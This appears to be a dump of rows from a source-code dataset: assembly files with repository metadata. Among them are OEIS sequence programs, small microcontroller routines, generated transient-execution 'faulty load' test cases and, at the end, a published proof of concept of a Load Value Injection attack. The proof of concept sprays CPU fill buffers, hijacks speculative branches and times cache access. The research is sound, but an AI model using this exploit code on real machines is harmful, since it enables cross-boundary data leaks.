; 0,1,4,13,42,143,514,1915,7268,27805,106680,409633,1573086,6040587,23193782,89051615,341901032,1312664601,5039704492,19348873781,74285859698,285204660583,1094982340202,4203950929347,16140172668812
mov $1,1
lpb $0
sub $0,1
mul $2,2
add $4,$3
add $3,$1
sub $4,$1
sub $1,$4
sub $1,$4
sub $2,5
add $4,5
add $2,$4
mov $4,$2
lpe
mov $0,$3
| 23.9 | 197 | 0.690377 |
97b1eb376e25280028599f449e22f380b5cde2f8 | 98 | asm | Assembly | libsrc/_DEVELOPMENT/math/float/math48/lm/z80/asm_dldpush.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/math/float/math48/lm/z80/asm_dldpush.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/math/float/math48/lm/z80/asm_dldpush.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null |
SECTION code_fp_math48
PUBLIC asm_dldpush
EXTERN am48_dldpush
defc asm_dldpush = am48_dldpush
| 10.888889 | 31 | 0.846939 |
7b7f6c6d4b2ed6485efd945a4ed4eaddfbfbc13e | 7,237 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_76.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_76.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_76.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r8
push %r9
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x1456f, %rdi
nop
xor %rbp, %rbp
mov $0x6162636465666768, %rsi
movq %rsi, (%rdi)
nop
nop
nop
nop
xor %rcx, %rcx
lea addresses_WC_ht+0x26ef, %rsi
nop
nop
nop
nop
dec %r11
vmovups (%rsi), %ymm3
vextracti128 $0, %ymm3, %xmm3
vpextrq $1, %xmm3, %r8
nop
cmp $10222, %r8
lea addresses_WC_ht+0xad7, %rsi
lea addresses_WT_ht+0x426f, %rdi
nop
nop
nop
nop
and %r9, %r9
mov $99, %rcx
rep movsq
cmp %rcx, %rcx
lea addresses_A_ht+0x12a6f, %r11
nop
nop
nop
nop
cmp %r8, %r8
mov $0x6162636465666768, %rbp
movq %rbp, %xmm0
vmovups %ymm0, (%r11)
nop
nop
nop
nop
cmp %rsi, %rsi
lea addresses_WT_ht+0x1af1f, %r11
nop
nop
add %rsi, %rsi
mov $0x6162636465666768, %rdi
movq %rdi, %xmm7
movups %xmm7, (%r11)
nop
nop
nop
cmp %rdi, %rdi
lea addresses_WT_ht+0x15ad3, %r8
nop
nop
add %rbp, %rbp
movups (%r8), %xmm0
vpextrq $0, %xmm0, %r9
dec %r8
lea addresses_WT_ht+0x662f, %rbp
clflush (%rbp)
nop
cmp $25963, %rsi
vmovups (%rbp), %ymm4
vextracti128 $1, %ymm4, %xmm4
vpextrq $0, %xmm4, %rdi
nop
nop
nop
nop
nop
xor $26670, %rbp
lea addresses_D_ht+0x12a6f, %r9
nop
nop
nop
dec %rsi
movw $0x6162, (%r9)
nop
nop
nop
nop
nop
sub %r8, %r8
lea addresses_D_ht+0x1e82f, %rsi
lea addresses_A_ht+0xd2df, %rdi
nop
nop
nop
nop
nop
add %r12, %r12
mov $9, %rcx
rep movsq
nop
sub $16834, %r8
lea addresses_WC_ht+0x1ed56, %rsi
add $43254, %r9
mov $0x6162636465666768, %rcx
movq %rcx, (%rsi)
nop
and %rcx, %rcx
lea addresses_D_ht+0x1e66f, %rsi
nop
cmp $26688, %r12
mov (%rsi), %r9
nop
nop
cmp %r9, %r9
lea addresses_D_ht+0x2e6f, %rcx
nop
inc %r11
mov (%rcx), %rbp
nop
xor $38625, %r12
lea addresses_WT_ht+0xf02f, %rsi
lea addresses_WC_ht+0xa26f, %rdi
nop
nop
nop
sub $60287, %r12
mov $63, %rcx
rep movsl
and $13752, %rcx
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r9
pop %r8
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r13
push %r9
push %rbp
push %rbx
push %rsi
// Faulty Load
lea addresses_D+0x1026f, %r10
clflush (%r10)
nop
nop
inc %r9
mov (%r10), %r13w
lea oracles, %r10
and $0xff, %r13
shlq $12, %r13
mov (%r10,%r13,1), %r13
pop %rsi
pop %rbx
pop %rbp
pop %r9
pop %r13
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_D', 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_D', 'congruent': 0}}
<gen_prepare_buffer>
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_A_ht', 'congruent': 4}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_WC_ht', 'congruent': 6}}
{'dst': {'same': False, 'congruent': 11, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 3, 'type': 'addresses_WC_ht'}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_A_ht', 'congruent': 9}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_WT_ht', 'congruent': 4}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_WT_ht', 'congruent': 2}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_WT_ht', 'congruent': 6}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_D_ht', 'congruent': 10}, 'OP': 'STOR'}
{'dst': {'same': False, 'congruent': 4, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 5, 'type': 'addresses_D_ht'}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_WC_ht', 'congruent': 0}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': True, 'size': 8, 'type': 'addresses_D_ht', 'congruent': 7}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_D_ht', 'congruent': 10}}
{'dst': {'same': True, 'congruent': 11, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 6, 'type': 'addresses_WT_ht'}}
{'36': 21829}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
| 36.185 | 2,999 | 0.65552 |
f84586cd06a635f9f51a337ba34114f6df03172f | 139 | asm | Assembly | multiplication.asm | chakrabortysayantan699/8085-micro-asm-program | 1b683245f9408fd3b061ea9c53f70554c7f8c2bf | [
"MIT"
] | null | null | null | multiplication.asm | chakrabortysayantan699/8085-micro-asm-program | 1b683245f9408fd3b061ea9c53f70554c7f8c2bf | [
"MIT"
] | null | null | null | multiplication.asm | chakrabortysayantan699/8085-micro-asm-program | 1b683245f9408fd3b061ea9c53f70554c7f8c2bf | [
"MIT"
] | null | null | null | ;<16 bit multiplication>
LHLD 0050H
XCHG
LDA 0052H
LXI H,0000H
MVI C,08
NEXT:DAD H
RAL
JNC AGAIN
DAD D
AGAIN:DCR C
JNZ NEXT
SHLD 0055H
HLT
| 9.266667 | 24 | 0.76259 |
354577e2442f1cc3931f543342803a115c2724fe | 6,472 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_491.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_491.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_491.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r13
push %r9
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_normal_ht+0x14b2, %r11
nop
add %rdi, %rdi
movb $0x61, (%r11)
nop
add $49043, %rdx
lea addresses_WC_ht+0x1181e, %rsi
lea addresses_WT_ht+0x138be, %rdi
clflush (%rsi)
nop
cmp $31706, %rdx
mov $93, %rcx
rep movsb
nop
nop
nop
nop
sub $15762, %rdx
lea addresses_A_ht+0x1d4b2, %r13
clflush (%r13)
nop
nop
nop
nop
sub %rdi, %rdi
movb (%r13), %cl
nop
nop
nop
nop
cmp %rdi, %rdi
lea addresses_WT_ht+0x12062, %r13
and $43813, %r9
mov (%r13), %esi
nop
nop
nop
nop
dec %r11
lea addresses_WC_ht+0x186b2, %r9
add $26142, %r11
mov $0x6162636465666768, %rdx
movq %rdx, %xmm0
and $0xffffffffffffffc0, %r9
movaps %xmm0, (%r9)
nop
nop
add %rsi, %rsi
lea addresses_UC_ht+0x19cb2, %rdi
clflush (%rdi)
nop
nop
xor %r11, %r11
movb (%rdi), %r13b
sub $56052, %rdx
lea addresses_WT_ht+0x14632, %r9
nop
nop
nop
nop
nop
add $15714, %rcx
movups (%r9), %xmm7
vpextrq $1, %xmm7, %rdi
nop
nop
nop
and %rdi, %rdi
lea addresses_WT_ht+0x170f2, %rdi
clflush (%rdi)
nop
sub %r13, %r13
mov (%rdi), %si
nop
nop
nop
and %rdi, %rdi
lea addresses_D_ht+0x1d212, %rsi
lea addresses_UC_ht+0x2b2, %rdi
nop
and $38344, %rax
mov $70, %rcx
rep movsl
nop
mfence
lea addresses_UC_ht+0x19e62, %rsi
lea addresses_D_ht+0xcb2, %rdi
nop
xor $30356, %r9
mov $47, %rcx
rep movsl
nop
dec %rcx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r13
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r15
push %r9
push %rax
push %rbp
push %rbx
// Faulty Load
lea addresses_PSE+0x154b2, %r15
nop
nop
xor %rax, %rax
vmovups (%r15), %ymm1
vextracti128 $1, %ymm1, %xmm1
vpextrq $1, %xmm1, %r9
lea oracles, %r13
and $0xff, %r9
shlq $12, %r9
mov (%r13,%r9,1), %r9
pop %rbx
pop %rbp
pop %rax
pop %r9
pop %r15
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_PSE', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_PSE', 'AVXalign': False, 'size': 32, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 11}}
{'src': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 2, 'same': False}}
{'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 10}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 1}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': True, 'size': 16, 'NT': False, 'same': False, 'congruent': 9}}
{'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 9}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 6}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 6}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_D_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 9, 'same': False}}
{'src': {'type': 'addresses_UC_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 9, 'same': False}}
{'33': 21829}
33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
*/
| 39.705521 | 2,999 | 0.657756 |
ab47c1bd113abf13cd8c704e2a50bcfa5d766fc2 | 983 | asm | Assembly | programs/oeis/280/A280511.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/280/A280511.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | programs/oeis/280/A280511.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | ; A280511: Index sequence of the block-fractal sequence A001468.
; 2,2,5,5,5,5,5,13,13,13,13,13,13,13,13,13,13,13,13,13,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,89,89,89,89,89,89,89,89,89,89,89,89,89,89,89,89,89,89,89,89,89,89,89,89,89,89,89,89,89,89,89,89,89,89,89,89,89,89,89,89,89,89,89,89,89,89,89,89,89,89,89,89,89,89,89,89,89,89,89,89,89,89,89,89,89,89,89,89,89,89,89,89,89,89,89,89,89,89,89,89,89,89,89,89,89,89,89,89,89,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233,233
add $0,2
mov $1,1
lpb $0
add $1,$2
trn $0,$1
add $2,$1
lpe
| 89.363636 | 851 | 0.695829 |
7a9bc1e9bb895a47ee10e90dae464b09d0ad1c0d | 54 | asm | Assembly | modules/clearRam.asm | antuniooh/assembly-calculator | 5e364c5cfdb0aa90958dc168e546c305cda1ee5a | [
"MIT"
] | 2 | 2021-05-08T20:51:42.000Z | 2021-05-08T20:52:06.000Z | modules/clearRam.asm | antuniooh/assembly-calculator | 5e364c5cfdb0aa90958dc168e546c305cda1ee5a | [
"MIT"
] | null | null | null | modules/clearRam.asm | antuniooh/assembly-calculator | 5e364c5cfdb0aa90958dc168e546c305cda1ee5a | [
"MIT"
] | 2 | 2020-12-14T00:09:01.000Z | 2021-03-25T14:07:08.000Z | CLEAR_RAM:
MOV @R0, A
DJNZ R0,CLEAR_RAM
LJMP START
| 10.8 | 18 | 0.722222 |
a6b12a8fbcb550c602a972b9b7776cbbf2751d49 | 420 | asm | Assembly | programs/oeis/192/A192004.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/192/A192004.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | programs/oeis/192/A192004.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | ; A192004: Alternating row sums of array A187360: minimal polynomial of 2*cos(Pi/n) evaluated for x=-1.
; 1,-1,-2,-1,1,-2,1,-1,1,1,1,-2,1,1,1,-1,1,1,1,1,1,1,1,-2,1,1,1,1,1,1,1,-1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,-2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,-1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
mul $0,4
lpb $0
dif $0,2
mov $1,$0
sub $1,$0
mov $3,$1
add $3,2
sub $0,$3
mov $1,$0
sub $1,1
lpe
mov $2,$1
cmp $2,0
add $1,$2
| 23.333333 | 172 | 0.538095 |
1e5bc885b5dff4b3596fb9a7f65a075675955fcf | 341 | asm | Assembly | programs/oeis/205/A205084.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/205/A205084.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/205/A205084.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A205084: a(n)=n 4's sandwiched between two 1's.
; 11,141,1441,14441,144441,1444441,14444441,144444441,1444444441,14444444441,144444444441,1444444444441,14444444444441,144444444444441,1444444444444441,14444444444444441,144444444444444441,1444444444444444441,14444444444444444441
mov $1,10
pow $1,$0
div $1,9
mul $1,130
add $1,11
mov $0,$1
| 34.1 | 229 | 0.812317 |
8f5f4d7a79f54e862ab0ecc43383447dcd56b0de | 3,209 | asm | Assembly | src/lvi_cfh_poc/asmhelper.asm | bitdefender/lvi-lfb-attack-poc | 04c0663a28bee090bbd9134c782d022d2a5060ce | [
"BSD-3-Clause"
] | 26 | 2020-03-10T17:31:39.000Z | 2021-12-05T20:28:40.000Z | src/lvi_cfh_poc/asmhelper.asm | bitdefender/lvi-lfb-attack-poc | 04c0663a28bee090bbd9134c782d022d2a5060ce | [
"BSD-3-Clause"
] | null | null | null | src/lvi_cfh_poc/asmhelper.asm | bitdefender/lvi-lfb-attack-poc | 04c0663a28bee090bbd9134c782d022d2a5060ce | [
"BSD-3-Clause"
] | 7 | 2020-03-11T03:18:24.000Z | 2022-01-11T15:37:14.000Z | .code
;
; SprayFillBuffers
; RCX = Address of the buffer containing the address of the target, poison, function.
;
SprayFillBuffers PROC
mfence
clflush [rcx + 0 * 64]
clflush [rcx + 1 * 64]
clflush [rcx + 2 * 64]
clflush [rcx + 3 * 64]
clflush [rcx + 4 * 64]
clflush [rcx + 5 * 64]
clflush [rcx + 6 * 64]
clflush [rcx + 7 * 64]
clflush [rcx + 8 * 64]
clflush [rcx + 9 * 64]
clflush [rcx + 10 * 64]
clflush [rcx + 11 * 64]
clflush [rcx + 12 * 64]
clflush [rcx + 13 * 64]
clflush [rcx + 14 * 64]
clflush [rcx + 15 * 64]
mfence
mov rax, [rcx + 0 * 64]
mov rax, [rcx + 1 * 64]
mov rax, [rcx + 2 * 64]
mov rax, [rcx + 3 * 64]
mov rax, [rcx + 4 * 64]
mov rax, [rcx + 5 * 64]
mov rax, [rcx + 6 * 64]
mov rax, [rcx + 7 * 64]
mov rax, [rcx + 8 * 64]
mov rax, [rcx + 9 * 64]
mov rax, [rcx + 10 * 64]
mov rax, [rcx + 11 * 64]
mov rax, [rcx + 12 * 64]
mov rax, [rcx + 13 * 64]
mov rax, [rcx + 14 * 64]
mov rax, [rcx + 15 * 64]
mfence
ret
SprayFillBuffers ENDP
;
; PoisonFunction - we'll spray the LFBs with the address of this function. Many times, when an indirect
; branch through memory triggers an assist or a fault, the CPU would forward this address to be used
; as a destination for the indirect branch.
;
mfence ; Just to make sure someone doesn't get here speculatively...
PoisonFunction PROC
mov rcx, 0BDBD0000h ; Address which is used to check whether this executed or not.
mov rax, [rcx] ; Access it, so it gets cached - this way we'll now this got executed.
mfence
ret
PoisonFunction ENDP
;
; VictimFunctionTsx - jump to [0] inside a transaction. Many times the CPU would read stale data from the LFB
; and it would branch to those addresses.
;
VictimFunctionTsx PROC
mfence
xbegin __abort_tsx
mov rax, 0000000000000000h ; [1]
jmp qword ptr [rax] ; [2]
xend
__abort_tsx:
mfence
ret
VictimFunctionTsx ENDP
;
; VictimFunctionFault - jump to [0] outside a transaction. Many times the CPU would read stale data from the LFB
; and it would branch to those addresses.
;
VictimFunctionFault PROC
mfence
mov rax, 0000000000000000h ; Load 0 in RAX.
jmp qword ptr [rax] ; Normally this will branch to whatever is in the LFBs.
mfence
ret
VictimFunctionFault ENDP
;
; MeasureAccessTime
;
MeasureAccessTime PROC
mfence
rdtsc
shl rdx, 32
or rdx, rax
mov r8, rdx
lfence
mov al, [rcx]
lfence
rdtsc
shl rdx, 32
or rax, rdx
sub rax, r8
mfence
clflush [rcx]
mfence
ret
MeasureAccessTime ENDP
END
| 27.194915 | 114 | 0.518542 |
